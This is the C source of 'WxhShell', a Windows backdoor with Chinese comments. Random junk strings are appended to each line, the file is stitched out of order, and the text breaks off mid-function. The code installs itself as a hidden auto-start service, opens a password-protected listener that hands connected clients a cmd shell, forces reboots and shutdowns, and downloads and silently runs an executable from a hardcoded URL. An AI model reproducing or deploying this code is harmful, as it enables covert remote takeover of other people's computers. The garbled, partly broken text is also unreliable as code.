    if(Boot(SHUTDOWN)) zOkIPv52~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PYOU=R%o`8  
    else { mKsTA;  
    closesocket(wsh); 5tSR2gG#K,  
    ExitThread(0); yB>5p]$P  
    } p1-bq:  
    break; li U=&wM>  
    } R(i2TAaaU  
  // 获取shell c*5y8k  
  case 's': { i?*_-NAm  
    CmdShell(wsh); jJX-S  
    closesocket(wsh); oj8_e xx  
    ExitThread(0); tt|v opz  
    break; $. ;j4%%  
  } c`hj^t  
  // 退出 t Q0vX@I<v  
  case 'x': { fn!(cE|`E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 17itC9U  
    CloseIt(wsh); @,Re<%\  
    break; N@oNg}D&:  
    } 7]i=eD8  
  // 离开 X_j=u1*5  
  case 'q': { 3eqVY0q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^m3[mY [a  
    closesocket(wsh); #Cwzk{p(  
    WSACleanup(); <`'^rCWI?  
    exit(1); l$i^e|*  
    break; Ab"mX0n  
        } DgJG: D{  
  } B\/"$"  
  } 4\#!Gv-  
|k # ~  
  // 提示信息 A7/ R5p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eX+FtN  
} rvdhfM!-A  
  } [i8,rOa7  
FUq>+U!Qu  
  return; uV\ _j3,2  
} d1MVhE  
*jBn ^  
// shell模块句柄 g_2m["6*  
int CmdShell(SOCKET sock) )2U#<v^  
{ C:]&V*d.v4  
STARTUPINFO si; ,u^RZ[}  
ZeroMemory(&si,sizeof(si)); vPVA^UPNV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;w^-3 U7:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @IB+@RmL  
PROCESS_INFORMATION ProcessInfo; q}nL'KQ,n  
char cmdline[]="cmd"; L5"|RI}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2EHeQ|#  
  return 0; oic}Go  
} p|W <xFk  
D92#&,KD  
// 自身启动模式 l c<&f  
int StartFromService(void) N|pyp*8Z  
{ UF g N@  
typedef struct }]qx "  
{ 5`ma#_zk|f  
  DWORD ExitStatus; x J;DkPh  
  DWORD PebBaseAddress; d/Sx+1 "{T  
  DWORD AffinityMask; W|go*+`W%  
  DWORD BasePriority; GM5s~,  
  ULONG UniqueProcessId; Ly0U')D:  
  ULONG InheritedFromUniqueProcessId; A.mIqu,:  
}   PROCESS_BASIC_INFORMATION; [M^ur%H  
`=]I -5#.W  
PROCNTQSIP NtQueryInformationProcess; /K#t$O4  
aYjFRH`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U9om}WKO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,oW8im   
.kBZ(`K  
  HANDLE             hProcess; F-=W7 D:[c  
  PROCESS_BASIC_INFORMATION pbi; IT`r&;5  
9$9Pv%F:j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nUAs:Q  
  if(NULL == hInst ) return 0; c'9-SY1'~  
HMUn+kk+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .js@F/H p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =5JTVF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7VP[U,  
;st$TVzkn  
  if (!NtQueryInformationProcess) return 0; `.0QY<;  
WSdTP$?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AT#&`Ew  
  if(!hProcess) return 0;  c`'2  
}v'jFIkhI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (5l5@MN  
0FDfB;  
  CloseHandle(hProcess); a\wpJ|3{=T  
u 1?1x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I b)>M`J  
if(hProcess==NULL) return 0; Ha~g8R&  
oSb,)k@  
HMODULE hMod; Ax#$z  
char procName[255]; Wr\rruH6  
unsigned long cbNeeded; DqLZc01>  
:v_H;UU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [l+1zt0w0  
sK#)wjj\^  
  CloseHandle(hProcess); 1 :xN)M,s  
G<1awi  
if(strstr(procName,"services")) return 1; // 以服务启动 xDf<@  
6%mF iX  
  return 0; // 注册表启动 SX$Nef9p  
} ^9})@,(D  
^ fo2sN"   
// 主模块 !MOgM  
int StartWxhshell(LPSTR lpCmdLine) *k$":A  
{ ToUeXU [  
  SOCKET wsl; JRMe( ,u  
BOOL val=TRUE; ~W q[H  
  int port=0; QR!8n  
  struct sockaddr_in door; bDLPA27  
oG! S(95  
  if(wscfg.ws_autoins) Install(); G22= 8V  
* /S=9n0  
port=atoi(lpCmdLine); ,0^:q)_  
Td&w  
if(port<=0) port=wscfg.ws_port; u`l1 zMk  
>?b9Xh  
  WSADATA data; g-c\ ;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HvWnPh1l  
rPV\ F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Pg3O )D9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fP41 B  
  door.sin_family = AF_INET; ZJotg *I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8ODrW!o  
  door.sin_port = htons(port); 6Xjr0 C+  
5feCA ,v7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VP4W~;UV|\  
closesocket(wsl); hWGCYkuW  
return 1; ,UFr??ZKm  
} ^L&hwXAO:  
Bc {#ia  
  if(listen(wsl,2) == INVALID_SOCKET) { ?#F}mOVAa  
closesocket(wsl); %N!2 _uk5  
return 1; wo;`D  
} @u./VK  
  Wxhshell(wsl); d%$'Y|  
  WSACleanup(); Y'NQt?h  
Sm2 |I6  
return 0; Nl_Sgyx,\  
,B>Rc#  
} ;>o}/h  
l\W[WQP h  
// 以NT服务方式启动 V$Y5EX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dm60O8  
{ U?u0|Y+  
DWORD   status = 0; eMf+b;~R  
  DWORD   specificError = 0xfffffff; ;!(.hCHvr  
;J3az`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I|=$.i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t:m2[U_}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wq!n8O1  
  serviceStatus.dwWin32ExitCode     = 0; kve{CO*  
  serviceStatus.dwServiceSpecificExitCode = 0; b {e nD  
  serviceStatus.dwCheckPoint       = 0; 8=^o2&  
  serviceStatus.dwWaitHint       = 0; MtAD&+3$  
m/"\+Hv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7Zl- |  
  if (hServiceStatusHandle==0) return; djVE x }  
Dm': D  
status = GetLastError(); !$'s?rnh  
  if (status!=NO_ERROR) pU`4bT(w%  
{ yQ> *F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O>^0}  
    serviceStatus.dwCheckPoint       = 0; _zQ3sm  
    serviceStatus.dwWaitHint       = 0; YShtoaCx>  
    serviceStatus.dwWin32ExitCode     = status; ?@ ei_<A{  
    serviceStatus.dwServiceSpecificExitCode = specificError; H4'xxsx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DCfV  
    return; ,*fvA?  
  } EQ&E C  
Y?Yix   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +>N/q(l  
  serviceStatus.dwCheckPoint       = 0; UOrf wK  
  serviceStatus.dwWaitHint       = 0; >= Hcw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 36D-J)-Z  
} ;|v6^2H"  
X*Mw0;+T  
// 处理NT服务事件,比如:启动、停止 v>TI.;{y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WP1>)  
{ D/_=rAl1  
switch(fdwControl) ;8UHnhk_O  
{ ?U]/4]  
case SERVICE_CONTROL_STOP: yi3@-  
  serviceStatus.dwWin32ExitCode = 0; 'z\K0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y: @[QhV  
  serviceStatus.dwCheckPoint   = 0; vVF#]t b|  
  serviceStatus.dwWaitHint     = 0; rt5UT~  
  { /ey[cm2#[s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9V&%_.Z  
  } N1ZHaZ  
  return; $l:?(&u  
case SERVICE_CONTROL_PAUSE: |y@TI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I(E1ym  
  break; 2 @g'3M  
case SERVICE_CONTROL_CONTINUE: Ue|]M36  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]@bo;.  
  break; jcF/5u5e  
case SERVICE_CONTROL_INTERROGATE: Sk@~}  
  break; Fl GKy9k  
}; vkan+~H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ='=\!md  
} 2~+Iu +  
?6@Y"5 z3g  
// 标准应用程序主函数 28M! G~|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w/s{{X<bF  
{ Qz;2RELz  
>lqWni  
// 获取操作系统版本 'sI=*c  
OsIsNt=GetOsVer(); 1c S{3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T"-HBwl  
9="i'nYp  
  // 从命令行安装 { hUbK+dKZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2E/#fX9!4  
+` B m  
  // 下载执行文件 KLlo^1.<  
if(wscfg.ws_downexe) { _$"qC[.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8%Zl;;W  
  WinExec(wscfg.ws_filenam,SW_HIDE); pDD0 QO  
} 0V*L",9M  
zw^jIg$  
if(!OsIsNt) { ^1U2&S  
// 如果时win9x,隐藏进程并且设置为注册表启动 }9e4?7  
HideProc(); $53I%.  
StartWxhshell(lpCmdLine); =vBxwa^  
} Kd CPt!  
else Bsw5A7,-  
  if(StartFromService()) 94"R&|  
  // 以服务方式启动 pU)wxv[~  
  StartServiceCtrlDispatcher(DispatchTable); ]>K%,}PS  
else 2a2C z'G  
  // 普通方式启动 LjjE(Yrv{  
  StartWxhshell(lpCmdLine); }Tn]cL{]C  
E,5jY  
return 0; X""<5s'0  
} /kyuL]6  
!<}<HR^ )  
N. 3 x[%:  
j2 "j Cv  
=========================================== nm 66U4.@  
}NDw3{zn  
|_HH[s*U  
)DuOo83n["  
LOi5 ^Um|  
t#oJr2  
" "y/GK1C  
~h?zK 1  
#include <stdio.h> oT$w14b  
#include <string.h> N5[QQtQ  
#include <windows.h> g+p?J.+  
#include <winsock2.h> dkJ+*L5  
#include <winsvc.h> )El#Ks5u  
#include <urlmon.h> #sy)-xM  
E>xdJ  
#pragma comment (lib, "Ws2_32.lib") @rkNx@[~  
#pragma comment (lib, "urlmon.lib") LJYFz=p "  
K~AQ) ]pJI  
#define MAX_USER   100 // 最大客户端连接数 CD%wi:C%|  
#define BUF_SOCK   200 // sock buffer 5[[4A]#T  
#define KEY_BUFF   255 // 输入 buffer N54U [sy  
mYXe0E#6  
#define REBOOT     0   // 重启 L m"a3Nb  
#define SHUTDOWN   1   // 关机 P-[6xu+]  
SfQ ,uD6  
#define DEF_PORT   5000 // 监听端口 )(b]-  )  
PoY+Y3  
#define REG_LEN     16   // 注册表键长度 >F6'^9|  
#define SVC_LEN     80   // NT服务名长度 pUZe.S>G  
'>_'gR0O  
// 从dll定义API nRN&u4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {,|*99V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c&IIqT@Gb0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >V@-tT"^:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XJDp%B  
"'-f?kZ  
// wxhshell配置信息 JadXdK=gE  
struct WSCFG { LHKawEZ  
  int ws_port;         // 监听端口 wgpu]ooUF&  
  char ws_passstr[REG_LEN]; // 口令 QM`A74j0]\  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ki{&,:@  
  char ws_regname[REG_LEN]; // 注册表键名 Uaog_@2n,  
  char ws_svcname[REG_LEN]; // 服务名 5Y)*-JY1g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6;9SU+/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xa\{WM==;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HlgF%\@a+U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,ClGa2O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y~hBVz2g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X0+$pJ60  
w0x, ~  
}; ?V"X=B2  
DzYi> E:*  
// default Wxhshell configuration 5X4; (Qj  
struct WSCFG wscfg={DEF_PORT, ".onev^(  
    "xuhuanlingzhe", a,U[$c  
    1, c?"#x-<1s  
    "Wxhshell", i&$L$zf,  
    "Wxhshell",  Zm!T4pL  
            "WxhShell Service", )8p FPr  
    "Wrsky Windows CmdShell Service", b;`gxXeL  
    "Please Input Your Password: ", lhva|  
  1, bEyZRG  
  "http://www.wrsky.com/wxhshell.exe", &z8@  rk|  
  "Wxhshell.exe" ,]\L\ V  
    }; T?{"T/  
5ycccMx0V  
// 消息定义模块 ,IF3VE&r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PsMoH/+"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4,!#E0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j[k&O)A{C  
char *msg_ws_ext="\n\rExit."; e82SG8#]  
char *msg_ws_end="\n\rQuit."; thIuK V{CO  
char *msg_ws_boot="\n\rReboot..."; pca `nN!  
char *msg_ws_poff="\n\rShutdown..."; <43O,Kx'Su  
char *msg_ws_down="\n\rSave to "; !E8y!|7$  
v\PqhIy"  
char *msg_ws_err="\n\rErr!"; A}?n.MAX>  
char *msg_ws_ok="\n\rOK!"; zs:O HEZw  
:{bvCos<)  
char ExeFile[MAX_PATH]; #mLF6 "A  
int nUser = 0; u6Fm qK]Dj  
HANDLE handles[MAX_USER]; .(^KA{  
int OsIsNt; RT HD2  
A^nB!veh  
SERVICE_STATUS       serviceStatus; SB0Cq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =7wI/5iN  
l8 k@.<nCO  
// 函数声明 tSran  
int Install(void); 9`]Gosz  
int Uninstall(void); q">lP (t  
int DownloadFile(char *sURL, SOCKET wsh); {z> fe }  
int Boot(int flag); S#_g/3w  
void HideProc(void); ;NQ9A &$)  
int GetOsVer(void); 9z6-HZG'~<  
int Wxhshell(SOCKET wsl);  u:JD  
void TalkWithClient(void *cs); T1 >xw4uo  
int CmdShell(SOCKET sock); ?XN=Er^  
int StartFromService(void); 8'[g?  
int StartWxhshell(LPSTR lpCmdLine); }5 ^2g!M  
gpDH_!K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L"{qF<@V7&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4v9jGwnzt  
kk#%x#L[  
// 数据结构和表定义 R?Zv  
SERVICE_TABLE_ENTRY DispatchTable[] = EK`}?>'  
{ KK$t3e)  
{wscfg.ws_svcname, NTServiceMain}, ea[vzD]  
{NULL, NULL} -d5b,leC^  
}; p)v|t/7  
pW$ZcnU  
// 自我安装 Ey96XJV  
int Install(void) F|pM$Kd`  
{ 2*;qr|h,  
  char svExeFile[MAX_PATH]; $2uk;&"?A=  
  HKEY key; @i2"+_}*  
  strcpy(svExeFile,ExeFile); /iURP-rl  
kT)[<`p  
// 如果是win9x系统,修改注册表设为自启动 V&)Jvx}^  
if(!OsIsNt) { v6=pV4k9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )tYu3*'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); " E+V >V+  
  RegCloseKey(key); Cge@A'2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yTJ Eo\g/@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G#yv$LY#  
  RegCloseKey(key); !jlLF:v|1A  
  return 0; %PA#x36  
    } c"D%c(:4|  
  } ? 1Os%9D*  
} DS;,@$N_N  
else { X<G"Ga L  
`|kW%L4  
// 如果是NT以上系统,安装为系统服务 ?-M?{De   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )1?#q[x  
if (schSCManager!=0) ls[0X82F  
{ 3 UUOB.  
  SC_HANDLE schService = CreateService (Y i 1U~{:  
  ( DR]=\HQ  
  schSCManager, >D]g:t@v  
  wscfg.ws_svcname, ]90BIJ]*c  
  wscfg.ws_svcdisp, 4^uQB(}Z  
  SERVICE_ALL_ACCESS, +}3l$L'bY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u7||]|2  
  SERVICE_AUTO_START, PY81MTv0;  
  SERVICE_ERROR_NORMAL, (|O9L s7N  
  svExeFile, %M)LC>c  
  NULL, rnAQwm-8O%  
  NULL, JR6r3W  
  NULL, fh%|6k?#M  
  NULL, U]Y</>xGI  
  NULL Yzr)UJl*I  
  ); 9-:\ NH^;  
  if (schService!=0) [vv $"$z  
  { ,X`w/ 2O  
  CloseServiceHandle(schService); ya3k;j2C  
  CloseServiceHandle(schSCManager); YMSZcI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xz,fjKUnN  
  strcat(svExeFile,wscfg.ws_svcname); Lf 0X(tC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tuK2D,6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jD}G9=[$1  
  RegCloseKey(key); wWkMvs  
  return 0; 5aZbNV}-  
    } sdp3geBYo  
  } #jj+/>ZOi  
  CloseServiceHandle(schSCManager); `;j@v8n$*  
} HQkK8'\LP  
} nh XVc((  
X!xmto  
return 1; gN@|lHbU  
} k~%j"%OB  
Am ~P$dN  
// 自我卸载 {,+{,Ere  
int Uninstall(void) bZ 0{wpeK=  
{ C))x#P36  
  HKEY key; ;_X2E~i[  
sHqa(ynK  
if(!OsIsNt) { G!T_X*^q2U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /@w w"dmqU  
  RegDeleteValue(key,wscfg.ws_regname); !i>d04u`%  
  RegCloseKey(key); ]\Z8MxFD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lv&9s  
  RegDeleteValue(key,wscfg.ws_regname); ;mT  
  RegCloseKey(key); )FpizoVq0  
  return 0; a%nf )-}|  
  } dtj+ av G  
} {8* d{0l  
} 3 \}>nE  
else { gNHS:k\"  
@}\i`H1s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W1Vy5V|M  
if (schSCManager!=0) < k?pnBI_  
{ vnN 0o5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [KL-T16  
  if (schService!=0) j-cp  
  { 5,R4:y ?cK  
  if(DeleteService(schService)!=0) { (kTu6t*  
  CloseServiceHandle(schService); uG$*DeZti  
  CloseServiceHandle(schSCManager); p'`?CJq8  
  return 0; PrHoN2y5E  
  } \483S]_-z{  
  CloseServiceHandle(schService); N:q\i57x  
  } NkV81?  
  CloseServiceHandle(schSCManager); A?bqDy  
} uH&B=w  
} t6uYFxE  
ds2%i  
return 1; >PzZt8e  
} g=/!Ry=  
"Zfm4Nx "  
// 从指定url下载文件 1xEFMHjy  
int DownloadFile(char *sURL, SOCKET wsh) GT7&>}FJ)  
{ k|,Y_h0Y  
  HRESULT hr; '%X29B5  
char seps[]= "/"; Lb?WhjqZ  
char *token; -UM|u_  
char *file; .07"I7  
char myURL[MAX_PATH]; Aydpr_lp  
char myFILE[MAX_PATH]; ;f~fGsH}e'  
%VGW]!QR  
strcpy(myURL,sURL); Ld 0*)rI#  
  token=strtok(myURL,seps); Lf)JO|o  
  while(token!=NULL) d#OAM;0}5  
  { d_,Ql708f  
    file=token; eEBo:Rc9  
  token=strtok(NULL,seps); ~N%+ZXh&E  
  } r+d+gO.  
g >@a  
GetCurrentDirectory(MAX_PATH,myFILE); bg!(B<!X  
strcat(myFILE, "\\"); x6)qs-  
strcat(myFILE, file); H:|.e)$i  
  send(wsh,myFILE,strlen(myFILE),0); k`;d_eW  
send(wsh,"...",3,0); '?jsH+j+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tI@aRF=p]2  
  if(hr==S_OK) XzPOqZ`Nv  
return 0; F$-fj "jC  
else t.+)g-X  
return 1; #mU<]O  
&b`'RZe  
} gnGh )  
wfv\xHG  
// 系统电源模块 jEE!H /  
int Boot(int flag) 8_E(.]U  
{ twu,yC!  
  HANDLE hToken; XG*> yra`  
  TOKEN_PRIVILEGES tkp; qyxd9Lk1  
Gy[anDE&  
  if(OsIsNt) { D>8p: ^3g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R7"7 Rx   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ab]tLz|Z  
    tkp.PrivilegeCount = 1; 2i0;b|-=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !u'xdV+bf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "F}dZ  
if(flag==REBOOT) { z#Fel/L`O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q 'd]  
  return 0; ]ag{sU@#  
} MhR`  
else { RcO"k3J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $E&T6=Wn  
  return 0; F3qCtx *N  
} /* qx5$~  
  } H[nco#  
  else { tkH]_cH'w  
if(flag==REBOOT) { =tbfBK+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P6Y+ u  
  return 0; /7])]vZ_  
} M(nzJ  
else {  ?HRS*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "-djA,`  
  return 0; SswcO9JCX3  
} &TY74 w*  
} *RxJ8.G  
1a/C(4 _k  
return 1; 2Mk;r*FT  
} 2 F>Y{3&  
[|ZFei)r  
// win9x进程隐藏模块 8^^ 1h  
void HideProc(void) !(7m/R  
{ kc0MQ TJU  
Pn^`_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y<|JhqOXK  
  if ( hKernel != NULL ) cE:s\hG  
  { Ufl\ uq3'H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {ZrlbDQX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I5q $QQK  
    FreeLibrary(hKernel); >I0;MNX  
  } %VFoK-a  
.Sn{a }XP4  
return; u4IK7[=  
} $K!Jm7O\  
-yB}(69  
// 获取操作系统版本 xh bN=L  
int GetOsVer(void) '5 Yzo^R;  
{ f*<Vq:N=\  
  OSVERSIONINFO winfo; 1&! i:F#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "D8WdV(  
  GetVersionEx(&winfo); r :$tvT*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \?]U*)B.r  
  return 1; bS;_xDXd  
  else vRH^en  
  return 0; Nd]F 33|X  
} 4/|x^Ky>G  
BK%. wi  
// 客户端句柄模块 )M.s<Y  
int Wxhshell(SOCKET wsl) x;)I%c  
{ e,epKtL  
  SOCKET wsh; VS/M@y_./  
  struct sockaddr_in client; pDZewb&cA  
  DWORD myID; 7bk77`qWr  
>U,&V%y  
  while(nUser<MAX_USER) ttUK~%wSx  
{ t*9 gusmG  
  int nSize=sizeof(client); I)V=$r{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g%l ,a3"  
  if(wsh==INVALID_SOCKET) return 1; m{Vd3{H40  
",3v%$ >  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I{OizBom  
if(handles[nUser]==0) pe vXixl  
  closesocket(wsh); aaig1#a@1b  
else u0Wt"d-=  
  nUser++; <HoCt8>U  
  } zI4rAsysL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  y Ne?a{  
5aizWz  
  return 0; T8a' 6otc  
} y<kUGsD  
&'$Bk5D@G  
// 关闭 socket $ uHQl#!;  
void CloseIt(SOCKET wsh) LAlwQ^v|  
{ >Xk42zvqn  
closesocket(wsh); v']_)  
nUser--; oh< -&3Jn  
ExitThread(0); +#MXeUX"  
} O3@DU#N&s  
uVUU1@  
// 客户端请求句柄 #vBrRHuA#"  
void TalkWithClient(void *cs) n#g_)\  
{ A:< %>  
kScZ P8yw  
  SOCKET wsh=(SOCKET)cs; KE3`5Y!  
  char pwd[SVC_LEN]; /IWA U)A0  
  char cmd[KEY_BUFF]; YK6LJv}  
char chr[1]; <4; nq~  
int i,j; 04-_ K  
HpEd$+Mz  
  while (nUser < MAX_USER) { L]H'$~xx*  
;&&<zWq3h  
if(wscfg.ws_passstr) { KMwV;r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P)`^rJ6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MvpJ0Y (  
  //ZeroMemory(pwd,KEY_BUFF); ?YW~7zG  
      i=0; 3W7^,ir  
  while(i<SVC_LEN) { :awkhx  
OP1` !P y  
  // 设置超时 ^$: w  
  fd_set FdRead; QFx3N%  
  struct timeval TimeOut; QT,T5Q%JP:  
  FD_ZERO(&FdRead); d$3rcH1  
  FD_SET(wsh,&FdRead); h p|v?3(  
  TimeOut.tv_sec=8; QEs$9a5TE  
  TimeOut.tv_usec=0; rJ Jx8)M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Cjf[]aNJe`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9VxM1-8Gs  
p-}X=O$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oh8:1E,I  
  pwd=chr[0]; @e)}#kN.  
  if(chr[0]==0xd || chr[0]==0xa) { f256;3n  
  pwd=0; pq{`WgA^  
  break; @ !P2f   
  } W^[FWFUTY  
  i++; Y/5M)AyJt  
    } 6Cj7 =|L7  
2'?'dfj  
  // 如果是非法用户,关闭 socket :cC$1zv@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q]K` p(  
} ,,{;G'R|  
~A=zjkm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W<)P@_+-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2|>\A.I|=  
9~Dg<wQ  
while(1) { z ?\it(  
KQPu9f9  
  ZeroMemory(cmd,KEY_BUFF); @PvO;]]%  
o^@"eG$,  
      // 自动支持客户端 telnet标准   'GJB9i+a^  
  j=0; [h3xW  
  while(j<KEY_BUFF) { h9Far8}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "r&,#$6W6  
  cmd[j]=chr[0]; Cq2Wpu-u  
  if(chr[0]==0xa || chr[0]==0xd) { k4ti#3W5eG  
  cmd[j]=0; Bz ;r<Kn  
  break; n4k q=Z%  
  } ^!1!l-  
  j++; ">bhxXeiN  
    } ZIx-mC5  
P4[kW}R  
  // 下载文件 >$ZG=&  
  if(strstr(cmd,"http://")) { oN1D&*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wi&v?nm  
  if(DownloadFile(cmd,wsh)) XR+ SjCA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0VNLhM(LM  
  else >s^$ -  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [7@ g*!+d  
  } %y6Q3@  
  else { XGSFG ~d  
072C!F  
    switch(cmd[0]) { IA`voO$  
  8TP$?8l  
  // 帮助 )=~&l={T  
  case '?': { NpH8=H9  
